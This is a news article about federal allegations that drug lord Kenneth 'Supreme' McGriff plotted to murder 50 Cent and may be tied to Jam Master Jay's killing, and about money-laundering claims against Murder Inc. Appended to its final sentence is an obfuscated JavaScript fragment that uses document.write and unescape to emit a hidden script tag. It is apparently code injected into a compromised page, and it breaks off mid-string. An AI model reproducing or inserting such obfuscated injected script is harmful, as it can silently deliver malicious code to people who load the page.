Murder Inc. in 50 Cent murder plot

If you ask the government, Murder Inc. apparently took its name a bit too seriously. Federal agents and prosecutors are probing whether a notorious Queens drug lord and employees of the "world's most dangerous music company" conspired to assassinate rival rapper 50 Cent and may have been behind the 2002 slaying of Run-D.M.C. deejay Jam Master Jay.

According to newly released court documents obtained by the Smoking Gun, investigators allege that convicted crack kingpin Kenneth "Supreme" McGriff was gunning for Fiddy, whose real name Curtis Jackson, in retaliation for a hardcore song called "Ghetto Koran," in which the hip-hop star purportedly raps about McGriff's criminal history. (The track was recorded before 50 Cent broke through with his 2003 major label debut, Get Rich or Die Tryin'.)

"Messages transmitted over the Murder Inc. pager indicate that McGriff is involved in an ongoing plot to murder this rap artist," wrote Internal Revenue Service agent Francis Mace in a 2003 affidavit.

The document was part of a previously sealed search warrant affidavit and included in a petition last week by the defense lawyer for Murder Inc. bigwig Irving "Irv Gotti" Lorenzo. The paperwork related to the government's seizure of Murder Inc.'s bank accounts over the straight-to-video movie Crime Partners, starring Snoop Dogg, Ice-T and Murder Inc. star (and avowed 50 Cent enemy) Ja Rule.

The feds wanted access to the accounts to examine whether Lorenzo--an childhood friend of McGriff's--used Crime Partners and other Murder Inc. film and music projects to launder more than $1 million in drug money. McGriff would also provide "muscle" for the label in the form of threats, violence and intimidation, per prosecutors.

(Murder Inc., now part of the Island Def Jam consortium under Universal Music, formally changed its name to The Inc. in 2004 in an effort to clean up its image.)

The IRS affidavit posits that McGriff may have been behind the May 2000 shooting of 50 Cent because of "Ghetto Koran," which apparently revealed details of McGriff's deadly Queens-based crack empire. Fiddy, who used to peddle crack in Queens, has turned the incident--in which he was shot nine times at point-blank range, but managed to survive--into a big part of his personal mythology.

The document alleges that 50 Cent was subsequently "blacklisted in the recording industry." Indeed, the shooting occurred just weeks before Columbia was set to release what was supposed to be the rapper's debut, Power of the Dollar; after the murder attempt, he was dropped from the label and remained untouchable until Eminem signed him in 2002.

And that brings us to Jam Master Jay (real name: Jason Mizell), whose October 2002 murder in his Queens studio, not far from where 50 Cent was shot, has stymied police.

According to the IRS agent, investigators theorize that McGriff may have engineered the killing of the 37-year-old deejay because of the ongoing beef with 50 Cent. Jay signed Fiddy to his first record deal in 1996 and remained close to the rapper.

"Agents are still trying to determine whether Mizell's homicide has any connection to the ongoing dispute between McGriff and 50 Cent," Mace wrote, citing text messages Mace sent to some Murder Inc. employees. "Law enforcement agents are investigating the possibility that Mizell was murdered for defying the blacklist of 50 Cent."

The Brooklyn-born McGriff is currently behind bars and is expected to be tried later this year on drug-trafficking and murder charges. His attorney could not be reached for comment Wednesday.

As for Lorenzo, he and his brother, Chris, are expected to stand trial soon on charges of laundering McGriff's drug money.

A spokesman for the U.S. attorney's office in Brooklyn did not return phone calls seeking comment.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22